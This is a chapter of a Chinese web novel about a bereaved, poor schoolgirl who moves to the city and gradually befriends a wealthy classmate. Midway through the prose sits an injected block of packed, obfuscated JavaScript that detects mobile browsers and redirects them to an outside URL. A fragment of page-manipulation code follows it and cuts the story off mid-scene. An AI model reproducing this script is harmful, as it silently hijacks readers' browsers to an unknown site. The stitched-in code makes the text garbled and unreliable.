十五岁那年的夏天，云荼亲历离别的滋味。


    多年以后，当她读余华老师的《第七天》，其中写道：


    “亲人的离去不是一场暴雨，而是此生漫长的潮湿，我永远困在这潮湿中。在每一个波澜不惊的日子里，掀起狂风暴雨。”


    她才惊觉，原来，原来。


    而在此生最漫长的潮湿中，她遇见了太阳。


    -


    云荼不记得奶奶刚离去的那段时间她是怎么过的。


    记忆像是被浸泡在冰冷的水里，模糊而肿胀。


    她只是依稀记得，老屋突然变得空荡而巨大，每一个角落都回荡着无声的回响。


    灶台冷了，再也闻不到豆浆煮沸时那股暖烘烘的豆香气。


    院子里晾晒豆腐的架子空着，蒙着一层寂寥的灰。


    她是风月中的浮萍，飘摇无定所。


    爸爸妈妈从打工的城市回来了几天，处理完后事，坐在堂屋里，面对着沉默的她，开始了现实的商讨。


    “小荼已经15岁了，是个大姑娘了，可以自己照顾自己。”父亲云建国搓着手，语气带着一种刻意的轻松，“我们负责她每个月的生活费，高中就报个县里可以住校的学校，吃住在学校，我们也放心。”


    “不行！”姑姑云建华猛地站起身，声音带着压抑的怒气，“哥，嫂子，你们看看小荼现在的样子！妈刚走，她魂都没了，你们让她一个人怎么生活？住在学校？学校能代替家人吗？”


    姑姑的眼圈是红的，她紧紧攥着云荼冰凉的手，那力道传递过来一丝微弱的暖意。


    “可是……我们那边工作也走不开……”母亲陈蓉嗫嚅着，眼神躲闪。


    “那就跟我去省城！”姑姑斩钉截铁，“我在厂里干活，多双筷子的事！小荼成绩这么好，能考到省城的好高中，不能耽误了她！”


    最终，这场争执以姑姑的胜利告终。云荼知道，这并非父母被说服，而是他们找到了一个更妥善的安置方式。


    所以，最后，她跟着姑姑来到了省会益市。


    姑姑一家在省城的生存并不轻松。


    姑姑在电子厂里当流水线工人，每天在流水线前机械地重复成千上万次动作。


    姑父是给一家餐饮公司开车的司机，每天凌晨三点就要起床去运送食材。


    他们还有个儿子，比云荼小三岁，马上要上初中。


    他们租住在市区边缘一栋老旧的筒子楼里，顶楼，六楼，没有电梯。


    所谓的两室一厅，逼仄而昏暗，墙壁上残留着经年累月的油烟痕迹。


    云荼的到来，让这个本就狭窄的空间更加局促。


    弟弟默默地把自己的小房间让了出来，抱着一床被子，晚上就睡在客厅那张吱呀作响的旧沙发上。


    日子，还是得过。


    开学那天，天空是那种被秋雨洗过的、明净的湛蓝。


    云荼早早地来到了教室。她选择了靠窗最角落的位置，把自己安顿在这个不起眼的角落，仿佛这样就能获得一丝安全感。


    窗外，一棵高大的梧桐树伸展着枝桠，叶子阔大，在阳光下泛着金绿的光泽。叶脉清晰有力地延展，像极了奶奶那双常年劳作、布满粗茧却无比温暖的手掌的纹路。


    云荼伸出手指，隔着冰凉的玻璃，无声地描摹着那叶脉的走向，眼眶微微发热。


    同学们陆陆续续地进来，他们大多相熟，谈笑风生。


    云荼默默地听着他们谈论着某个新开的游乐场、某款她没听过的电子游戏、某个海外乐队的演唱会……那些词汇对她而言陌生而遥远，像来自另一个世界。


    她把自己缩得更紧了些。


    班主任是位中年女老师，利落干练。


    她走上讲台，敲了敲桌面，教室里迅速安静下来。


    “同学们好，欢迎大家来到益市一中，来到高一一班这个大家庭。在正式开启我们崭新的高中生活之前，我先向大家介绍一下我们班的班长。”她目光投向教室后方，语气带着熟稔与肯定，“陈澍。”


    名字落下的瞬间，教室里泛起一阵细微的涟漪。


    “这就内定了？”有不明所以的同学低声嘀咕，带着几分不服气。


    旁边显然是初中本部直升上来的同学，语气带着见怪不怪的意味，压低声音解释道：“都是拼爹的，你比得过人家？他爸是陈继川。”


    那个名字，连云荼这个初来乍到的人都隐隐听说过。她曾在益市街头那些巨大的广告牌上见过这个名字，旁边是拔地而起的、气派非凡的豪华楼盘——“继川府”。


    她的目光还停留在窗外的梧桐叶上，只是透过窗户那不甚清晰的反射，看见斜后方，一个穿着简单白色衬衣的男生。


    在名字被点到的瞬间，他握着笔的指尖顿了一下，随即，那干净修长的手指将笔轻轻放下，动作间带着一种与周遭喧闹格格不入的沉静。


    他缓缓站起身，走向讲台的步伐不疾不徐，肩背挺直，姿态从容。


    “大家好，我是陈澍。”他的声音干净温润，像山涧清泉流过卵石，“很荣幸能担任高一一班的班长，以后还请大家多多担待。”


    阳光恰好落在他身上，给他周身镀上了一层浅金色的光晕。


    云荼长这么大，第一次见到这么好看的男生，不是五官的精致，而是那种从骨子里透出来的、被良好家境和教养浸润出的清朗与从容。


    他像一束光，毫无预兆地，洞开了她积郁已久的黑暗。


    可那光明，于她而言，短暂得如同幻觉。


    在这个几乎全是城里孩子的班级里，她是唯一的异类。


    他们谈论着她从未听过的品牌，规划着她无法想象的假期，他们的自信像是与生俱来的胎记。


    同样的蓝白校服下，他们攀比着脚上的鞋子。云荼低头，看着自己脚上这双姑姑在地摊上花80元买的运动鞋，白色的鞋帮已经有些泛灰，鞋侧那个扭曲的“勾”形标志里，还突兀地多了一个小点。


    “你看她那鞋，”自习课上，后排细碎的议论声还是传入了她的耳朵，“勾不是勾，里面还有个点，笑死了，买不起Nike就不要穿嘛，打肿脸充胖子。”


    云荼的耳根瞬间烧起来，她死死盯着书本上的英文字母，那些字母扭曲变形，她一个也认不出。


    在此之前，她根本不知道什么是Nike。


    “安静点，自习时间不要交头接耳。”陈澍的声音从后排传来，不高，却带着天然的威信。


    议论声戛然而止。


    可云荼却把头埋得更低，无地自容的感觉像潮水般将她淹没，他肯定也听见了。


    而英语课，才是她每周循环一次的公开的刑场。


    当英语老师用标准流利的发音点到她的名字，让她朗读课文时，她紧张地站起来，感觉全班的目光都聚焦在自己身上。


    她用带着浓重乡音的口语，磕磕绊绊地念出那些陌生的句子，每一个音节都像是从石头缝里挤出来的。


    教室里瞬间爆发出压抑不住的低笑。


    “好土啊……”不知道是谁，清晰地小声评价了一句。


    她的脸烫得惊人，恨不得找个地缝钻进去。


    那一刻，她无比清晰地意识到，她和他们之间，隔着一道看不见的巨大鸿沟。


    这些细碎的、微不足道的瞬间，像无数根细密的针，反复刺穿着她十五岁的自尊，将她塑造成一个更加沉默、只知埋头苦读的影子。


    她唯一的武器，似乎只剩下成绩。


    而陈澍，依旧是那个遥不可及的存在。


    她日日苦读，挑灯夜战，成绩单上的名字却永远排在他的后面。


    他不止成绩优异，篮球场上奔跑跳跃的身影更是能引来整个走廊女生的围观。


    每天放学，她挤上拥挤的23路公交车，在汗味和喧嚣中，总能看见一辆黑色的轿车，流畅地滑过拥堵的车流，绝尘而去。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444106|182618||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    那是每天接送陈澍上下学的专车。


    他活在她触不可及的光亮世界里。


    而她，是蜷缩在自身阴影中，借着那束光偷取一点点温暖的，卑微的仰望者。


    某个冬日的傍晚，潮湿的寒气包裹着益市，23路公交车的车窗上凝结着一层薄薄的白雾。


    云荼像往常一样，缩在车厢中段靠窗的位置，看着窗外飞速倒退的霓虹。


    车厢里人声嘈杂，混合着引擎的轰鸣。在一个站台停靠后，前门处传来司机师傅带着点不耐的声音：“小伙子，要么刷卡，要么投币！光站着不行。”


    一个清润又带着明显尴尬的男声响起：“啊，是要钱的吗？”


    这声音……


    云荼下意识抬头望去，心跳漏了一拍。


    是陈澍。


    他穿着厚厚的羽绒服，围巾松散地搭着，正有些无措地翻着自己的书包。那里面看起来只有书本，却然没有公交卡和零钱的踪迹。


    他微蹙着眉，侧脸在车厢顶灯下显得格外清晰。最终他似乎轻叹了口气，合上书包，准备转身下车。


    就在他抬眼望向车厢后方，似乎想确认什么时，目光不经意地，与怔怔望着他的云荼，撞了个正着。


    那一瞬间，云荼几乎能看清他眼中的希冀，以及因这窘境而泛起的细微涟漪。


    鬼使神差地，在她大脑做出指令之前，身体已经动了。


    她站起身，穿过摇晃的车厢，走到前门。


    从洗得发旧的书包里掏出自己的学生卡，在读卡器上轻轻一贴。


    “滴！学生卡。”


    “叔叔，我帮他刷了。”她的声音不大，却足够让身边的人听清。


    她不敢看他，刷完卡就低着头想往后面走。


    “谢谢。”身侧传来他清晰而真诚的道谢，带着他特有的温润。


    云荼脚步一顿，心脏像是被什么东西轻轻拨动。她抬起头，飞快地看了他一眼，又迅速低下，声音细若蚊蚋：“不客气。”


    说完，便像逃离现场一般，快步走回自己原来的位置，手心因为刚才的举动而微微出汗，脸颊也有些发烫。


    这是他们第一次对话。


    这天是2013年12月2日，一个再寻常不过的冬日。


    但很奇怪，往后多年，云荼依然能清晰地记起车厢里湿冷的空气，窗外模糊的灯光，他尴尬时微红的耳根，以及那声落在她心尖上的“谢谢”。


    从那以后，云荼发现，陈澍出现在23路公交车上的次数，似乎悄然多了起来。


    有时他们会在拥挤的车厢里目光相遇，然后彼此轻轻点头，算是打过招呼。


    一种无声的、微妙的默契，在摇晃的车厢里慢慢滋生。


    高一下学期期末考结束那天，空气里弥漫着假期的松弛感。


    云荼照例坐上23路，又看见了那个熟悉的身影。


    这一次，在距离他往常下车还有两个站台时，陈澍穿过稀疏的人群，来到了她旁边的空位坐下。


    “云荼，”他开口，声音自然得像是在问一个相识已久的朋友，“你是打算选文科还是理科？”


    云荼完全没料到他会主动过来，更没料到他会问这个。


    她握着书包带子的手指紧了紧，压下心头的疑惑，老实回答：“理科吧。”


    她看到陈澍脸上立刻浮现出毫不掩饰的笑容，那笑容明亮得几乎要驱散车厢里所有的昏暗。


    “我还以为你会选文科，”他的语气带着一种如释重负的轻快，“那……咱们下学期见！”


    公交车到站，提示音响起。


    他站起身，朝她挥了挥手，转身下了车。


    云荼透过蒙着水汽的车窗，看着他的背影汇入人流，感觉他的步履都比平时轻快了不少。


    车厢重新摇晃起来。


    云荼后知后觉地意识到，他那句“下学期见”意味着什么：


    他们将会在理科班重逢。